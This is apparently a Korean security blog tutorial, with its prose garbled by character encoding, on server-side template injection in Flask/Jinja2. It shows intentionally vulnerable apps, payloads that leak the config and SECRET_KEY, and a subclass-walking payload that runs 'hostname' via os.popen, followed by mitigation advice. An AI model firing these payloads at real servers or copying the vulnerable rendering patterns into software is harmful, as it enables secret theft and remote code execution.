SSTI(Server Side Template Injection)
* SSTI (Server Side Template Injection) ?
SSTI ๋ ์๋ฒ์ธก์์ ์ฌ์ฉ์ค์ธ Template์ ๊ตฌ๋ฌธ์ ์ด์ฉํ์ฌ ๊ณต๊ฒฉ์๊ฐ ์ ๋ ฅํ ํ์ด๋ก๋๋ฅผ Template๋ก ์ธ์ํ๊ฒํ์ฌ ์๋ฒ์์ ์คํ๋๋๋ก ํ๋ ๊ณต๊ฒฉ์ด๋ค.
๊ฐ๋จํ๊ฒ Template๊ณผ Template Engine์ด๋ ๋ญ์ธ๊ฐ๋ฅผ ์ ์ํ๊ณ ๊ฐ์๋ฉด
Template Engine์ ํ ํ๋ฆฟ(์ ํด์ง ํ)์ ๋์ ์ธ ๋ณ์๋ฅผ ๊ฒฐํฉํ์ฌ ๋น ๋ฅด๊ณ ๊ฐํธํ๊ฒ ๋ ๋๋งํด์ฃผ๋ ์ํํธ์จ์ด์ด๋ค.

HTML๊ณผ ๊ฐ์ ์ ์ ์ธ ๋ฌธ์์ ๋์ ์ธ ๋ณ์๋ฅผ ๊ฒฐํฉํ์ฌ ์ถ๋ ฅํด์ค๋ค. ์ ๋๋ก ์ดํดํ๋ฉด ๋ ๊ฑฐ๊ฐ๋ค.
๊ทธ๋ผ Template์ ์๋ ์์ ์ฝ๋๋ฅผ ๋ณด๋ฉด ์ดํดํ ์ ์์๊ฑฐ๊ฐ๋ค.
COPY
from flask import Flask, render_template_string app = Flask(__name__) @app.route('/') def index(): data = request.args.get("data",'') template = '''<h1> what is template ?? is <span style="color:grey">{}</span></h1>'''.format(data) return render_template_string(template) app.run(host="localhost", port=3334)

์ ์์ ์์๋ Flask์ ๋ด์ฅ๋ Jinja2๋ฅผ ์ฌ์ฉํ์๋ค.
๋ค์ SSTI๋ก ๋์์์...
SSTI์ ๊ฒฝ์ฐ ์ฌ์ฉํ๋ Template Engine์ ๋ฐ๋ผ ๊ตฌ๋ฌธ์ด ์กฐ๊ธ์ฉ ์ฐจ์ด๊ฐ ์์ด์ ์๋ณ์ ์ํด์ ์๋์ ๊ด๋ จ Template์ Engine์ ๋ฐ๋ฅธ ํ์ด๋ก๋๋ฅผ ํ ์คํธํ์ฌ ์๋ณํ ์ ์๋ค.

๋ํ์ ์ธ Template Engine์ ๋ช๊ฐ ์ ์ด๋ณด๋ฉด
- Jinja2 (python)
- Smarty (php)
- Mako (python)
- Twig (php)
๋ฑ์ด ์กด์ฌํ๋ค.
์๋๋ Jinja2 ์์ Template ๊ตฌ๋ฌธ์ ๋ํ ๊ตฌ๋ถ์์ด๋ค.
- {% ... %} : ์ํ์ ๋ํ ๊ตฌ๋ถ์. for ๋ฌธ์ด๋ if ๋ฌธ์ ์ฌ์ฉํ ๋ ํ์ํ๋ค
- {{ ... }} : template output์ ๋ํ ๊ตฌ๋ถ์, ๋ณ์๋ฅผ ๋ฃ์ด ์ถ๋ ฅ ๊ฐ๋ฅํ๋ค.
- {# ... #} : ์ฃผ์์ ๋ํ ๊ตฌ๋ถ์
๊ทธ๋ผ Jinja2์์์ Template injection ํ์ด๋ก๋๋ฅผ ๋ณด๋ฉฐ ํ์ธํด๋ณด์.
* SSTI ๊ณต๊ฒฉ ์ค์ต
Jinja2
์์ ์์ ์ฝ๋๋ data๋ผ๋ ํ๋ผ๋ฏธํฐ๋ฅผ GET์ผ๋ก ๋ฐ์์ ์ถ๋ ฅํด์ฃผ๊ณ ์๋ค.
ํด๋น ๊ตฌ๋ฌธ์ {{ 7 * 7 }}์ ์ ๋ ฅํด๋ณด๋ฉด ์๋์ฒ๋ผ 49๊ฐ ์ถ๋ ฅ์ด ๋๋ค.

ํด๋น ๊ตฌ๋ฌธ์ด template์ผ๋ก ํด์์ด ๋์ด ๋์์ด ๋๋๊ฒ์ ํ์ธํ ์ ์๋ค.
๊ทธ๋ฌ๋ฉด template์ ๋ค์ด๊ฐ๋ ๋ณ์๋ฅผ ์ฌ์ฉ์๊ฐ ์ ๋ ฅํ ์ ์์ผ๋ฉด ๋ฌด์กฐ๊ฑด template์ผ๋ก ํด์๋๋๊ฐ ??
์๋ ์ฝ๋๋ฅผ ๋ณด์
COPY
from flask import Flask, request from jinja2 import Environment, Template app = Flask(__name__) env = Environment() @app.route("/", methods=["GET"]) def index(): data = request.args.get("data", '') # 1. this is vulnarble with ssti template = '''#1. hello ''' + data + ''' !''' output1 = env.from_string(template).render() print(output1) # 2. this is vulnarble with ssti template = '''#2. hello {} !'''.format(data) output2 = env.from_string(template).render() print(output2) # 3. this is not vulnarble template = '''#3. hello {{ data }} !''' output3 = env.from_string(template).render(data=data) print(output3) return output3 app.run(host="localhost", port=3333)
#1 , #2 ๋ฒ ๋ถ๋ถ์ ์ฌ์ฉ์๋ก ๋ถํฐ ๋ฐ์ ์ ๋ ฅ๊ฐ์ ํ ํ๋ฆฟ ์์ฒด์ ๊ทธ๋๋ก ๋ณ์์ ์ ๋ ฅํ์ฌ render ์ํค๊ณ ์๋ค.
๋ฐ๋ฉด #3. ์ ๊ฒฝ์ฐ {{ }} ์์ render ํจ์๋ฅผ ํตํด argument ๋ก์ ๋ค์ด๊ฐ์ render ์ํค๊ฒ ๋์ด ์ฌ์ฉ์๊ฐ ํ
ํ๋ฆฟ ๊ตฌ๋ฌธ์ ๋ฃ์ด๋ ๋ฌด์๋๊ฒ ๋๋ค.(ํ์คํ์ง๋ ๋ชจ๋ฅด๊ฒ ๋ค) (์ฐธ๊ณ ์๋ฃ : https://youtu.be/3cT0uE7Y87s?t=374)
์๋๋ ๊ฐ #1. #2. #3 ์ ๋์์ผ๋ก {{ 7 * 7 }}์ ์ ๋ ฅํ ๊ฒฐ๊ณผ์ด๋ค.




๋ค๋ฅธ ์ฝ๋๋ฅผ ์ดํด๋ณด์.
COPY
from flask import Flask, render_template_string, request app = Flask(__name__) app.config.SECRET_KEY = "supersecret" @app.route('/') def index(): data = request.args.get("data",'') #1. this is vulnarble with ssti template = '''#1 <h1> what is template ?? is <span style="color:grey">'''+ data +'''</span></h1>''' print(render_template_string(template)) #2. this is vulnarble with ssti template = '''#2 <h1> what is template ?? is <span style="color:grey">{}</span></h1>'''.format(data) print(render_template_string(template)) #3. this is not vulnarble template = '''#3 <h1> what is template ?? is <span style="color:grey">{{ data }}</span></h1>''' print(render_template_string(template,data=data)) return "test" app.run(host="localhost", port=3334)
ํด๋น ์ฝ๋๋ flask์ ๋ด์ฅ๋ jinja๋ฅผ ์ฌ์ฉํ๋๋ฐ, render_template_string์ด๋ผ๋ ํจ์๋ฅผ ํตํด template์ ๋ณํํ๋ค.
์์ ์ดํด๋ณธ ์์ ์ ๋ง์ฐฌ๊ฐ์ง๋ก
๋ณ์๋ฅผ ๋ฐ๋ก ๋ฃ๋ ๊ฒฝ์ฐ์๋ ์ทจ์ฝํ์ง๋ง, render ํจ์๋ฅผ ํตํด ์ธ์๋ก ๋ค์ด๊ฐ๊ฒ๋๋ฉด SSTI๊ฐ ๋ฐ์ํ์ง ์๋๋ค.

data์ {{ config }} ๋ฅผ ์ ๋ ฅํ๋ฉด Flask์ config object์ ์ ๊ทผ๊ฐ๋ฅํ์ฌ ๋ด์ฉ์ด ์ถ๋ ฅ๋๋ค.
config๋ flask์ ํฌํจ๋์ด์๋ ํด๋์ด์ค์ด๋ฉฐ, flask ์ดํ๋ฆฌ์ผ์ด์ ์คํ ํ๊ฒฝ์์ ๋ค์ํ ์ข ๋ฅ์ ์ค์ ๊ฐ๋ค์ ๋ณ๊ฒฝํ ์ ์๋๋ก ํด์ค๋ค.
config ํด๋์ค์ ๋ด์ฅ๋ ๊ณ ์ ์ค์ ๊ฐ๋ค์ด ์๋๋ฐ ๊ทธ ์ค SECRTE_KEY๋ ์ธ์ ์ด๋ ์ฟ ํค์ ์ํธํ์ ์ฌ์ฉ๋๋ ๋น๋ฐํค ๊ฐ์ด๋ค.
์ด๋ฅผ {{config.SECRET_KEY}} ํตํด ์ถ๋ ฅ์ด ๊ฐ๋ฅํ๋ค.

* SSTI - RCE(Remote Code Execution) in flask
๋ค์์ ์๋์ฝ๋๋ฅผ ์์๋ก SSTI ์ทจ์ฝ์ ์ ์ด์ฉํด RCE๋ฅผ ์งํํด๋ณด์.
COPY
from flask import Flask, render_template_string, request app = Flask(__name__) app.config.SECRET_KEY = "supersecrtekey" @app.route('/') def index(): data = request.args.get("data",'') template = '''<h1> what is template ?? is <span style="color:grey">{}</span></h1>'''.format(data) return render_template_string(template) app.run(host="localhost", port=3334)
flask ์์๋ python์ special attribute๋ฅผ ํ์ฉํ๋ค.
python์ ๋ชจ๋ ํด๋์ค์์ ๋ด์ฅ object ํด๋์ค๋ฅผ ์์ ๋ฐ๋๋ค.
ํ์ฌ ์๋์ฒ๋ผ ํด๋์ค์ ํจ์๋ ๋ค๋ฅธ ํด๋์ค๋ฅผ ์ ์ํ์ง ์์๋ ๊ธฐ๋ณธ์ ์ผ๋ก ์์๋ฐ์ ํด๋์ค๋ค์ด ์กด์ฌํ๋ค.
COPY
class heogi: pass print(dir(heogi)) #['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__']
์๋์ฒ๋ผ ๋น ๋ฌธ์์ด ๊ฐ์ฒด๋ ๋ง์ฐฌ๊ฐ์ง์ด๋ค.
COPY
print(dir("")) #['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'removeprefix', 'removesuffix', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
์ด๋ฐ ํ์ ํด๋์ค๋ค์ ์ด์ฉํ์ฌ ํ์ผ ์ฝ๊ธฐ, ํ๋ก์ธ์ค ์คํ๋ฑ์ ํ ์ ์๋ค.
๋จผ์ ํ๋ก์ธ์ค ์คํ์ ์งํํด๋ณด๋ฉด
(๋จผ์ ํ์ผ ์ฝ๊ธฐ ๋ถํฐ ์งํํด๋ณด๋ ค ํ์ง๋ง, File ํด๋์ค๊ฐ ์๋ณด์ฌ์ ํจ์ค...ใ )
์๋ ์ฝ๋๋ก subclass ๋ค์ ํ์ธ ํ ์ ์๋ค.
COPY
"".__class__.__mro__[1].__subclasses__() [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'nt.ScandirIterator'>, <class 'nt.DirEntry'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'PyHKEY'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'MultibyteCodec'>, <class 'MultibyteIncrementalEncoder'>, <class 'MultibyteIncrementalDecoder'>, <class 'MultibyteStreamReader'>, <class 'MultibyteStreamWriter'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'types.GenericAlias'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class 'os._AddedDllDirectory'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]
__mro__ ๋ MRO(Method Resoultion Order)๋ก python์์ ์์๋ฐ์ ๋ฉ์๋ ๊ฒฐ์ ์์๋ก, ๋ค์ค ์์์ ๋ฐ์์ ๊ฒฝ์ฐ
๋์ผํ ์ด๋ฆ์ ๊ฐ์ง method๋ฅผ ํธ์ถํ ๋ ๊ทธ ์์๋ฅผ ์ง์ ํ๋ ๊ฒ์ด๋ค.
mro ๊น์ง๋ง ํ์ธํด๋ณด๋ฉด ๋ฌธ์์ด class์ ์ต์์ class์ธ object๊ฐ ํ์ธ๋๋ค.
COPY
"".__class__.__mro__ (<class 'str'>, <class 'object'>)
์ฐ๋ฆฌ๋ ์ต์์ ํด๋์ค์ ํ์ ํด๋์ค ์ค ํ๋ก์ธ์ค ์คํ์ ์ํ subprocess.Popen ํด๋์ค๋ฅผ ์ฌ์ฉํด์ผํ๋ค.
subprocess.Popen๋ object ํด๋์ค์ subclass๋ก ๋ฐํ๋ dictionary ์ค 458๋ฒ์งธ(ํ๊ฒฝ๋ง๋ค ๋ค๋ฆ)์ด๋ค.

์๋๋ popen ํจ์๋ฅผ ์ด์ฉํด PC์ hostname์ ์ถ๋ ฅํ๋ ๋ช ๋ น์ด๋ฅผ ์คํํ๋ ๊ตฌ๋ฌธ์ด๋ค.
COPY
{{"".__class__.__mro__[1].__subclasses__()[458].__init__.__globals__["sys"].modules["os"].popen("hostname").read()}}

* SSTI Mitigation
1. Sanitization
COPY
from flask import Flask, render_template_string, request app = Flask(__name__) app.config.SECRET_KEY = "supersecret" @app.route('/') def index(): data = request.args.get("data",'') #1. this is vulnarble with ssti template = '''#1 <h1> what is template ?? is <span style="color:grey">'''+ data +'''</span></h1>''' print(render_template_string(template)) #2. this is vulnarble with ssti template = '''#2 <h1> what is template ?? is <span style="color:grey">{}</span></h1>'''.format(data) print(render_template_string(template)) #3. this is not vulnarble template = '''#3 <h1> what is template ?? is <span style="color:grey">{{ data }}</span></h1>''' print(render_template_string(template,data=data)) return "test" app.run(host="localhost", port=3334)
์ฌ์ฉ์ ์ ๋ ฅ์ด ๋ฐ๋ก template์ผ๋ก ์์ฑ๋์ง ์๋๋ก ํด์ผํ๋ค.
์ ์ฝ๋์ 3๋ฒ์ฒ๋ผ template์์ ์ ๊ณตํ๋ ํ๋ผ๋ฏธํฐ๋ฅผ ํตํด์ ์ฒ๋ฆฌ๋๋๋ก ํด์ผํ๋ค.
2. Sandboxing
์ฌ์ฉ์๋ก ๋ถํฐ ์ ๋ ฅ๊ฐ์ ๋ฐ์์ผ๋ง ํ๋ค๋ฉด template ํ๊ฒจ์ sandboxingํ์ฌ ์ฒ๋ฆฌํ๋๊ฒ ์์ ํ๋ค
(๋ผ๊ณ ํ๋๋ฐ ๊ตฌ์ฒด์ ์ธ ์์ ์ฝ๋๋ฅผ ๋ชป ์ฐพ๊ฒ ๋ค.... ๋์ค์ ๋ค์ ์ฐพ์๋ณด์)
'๐Web' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
Web Server vs WAS(Web Application Server) (0) | 2023.09.29 |
---|---|
Broken API Authorization (0) | 2023.08.13 |
AeroCTF - Localization is hard (0) | 2023.08.13 |
RCE via Server-Side Template Injection (0) | 2023.08.13 |
[KVE-2020-1616] ๊ทธ๋๋ณด๋ ๋ฉ์ธํ๋ฉด XSS ์ทจ์ฝ์ (0) | 2023.08.13 |
๋๊ธ
์ด ๊ธ ๊ณต์ ํ๊ธฐ
-
๊ตฌ๋
ํ๊ธฐ
๊ตฌ๋ ํ๊ธฐ
-
์นด์นด์คํก
์นด์นด์คํก
-
๋ผ์ธ
๋ผ์ธ
-
ํธ์ํฐ
ํธ์ํฐ
-
Facebook
Facebook
-
์นด์นด์ค์คํ ๋ฆฌ
์นด์นด์ค์คํ ๋ฆฌ
-
๋ฐด๋
๋ฐด๋
-
๋ค์ด๋ฒ ๋ธ๋ก๊ทธ
๋ค์ด๋ฒ ๋ธ๋ก๊ทธ
-
Pocket
Pocket
-
Evernote
Evernote
๋ค๋ฅธ ๊ธ
-
Broken API Authorization
Broken API Authorization
2023.08.13 -
AeroCTF - Localization is hard
AeroCTF - Localization is hard
2023.08.13 -
RCE via Server-Side Template Injection
RCE via Server-Side Template Injection
2023.08.13 -
[KVE-2020-1616] ๊ทธ๋๋ณด๋ ๋ฉ์ธํ๋ฉด XSS ์ทจ์ฝ์
[KVE-2020-1616] ๊ทธ๋๋ณด๋ ๋ฉ์ธํ๋ฉด XSS ์ทจ์ฝ์
2023.08.13
๋๊ธ์ ์ฌ์ฉํ ์ ์์ต๋๋ค.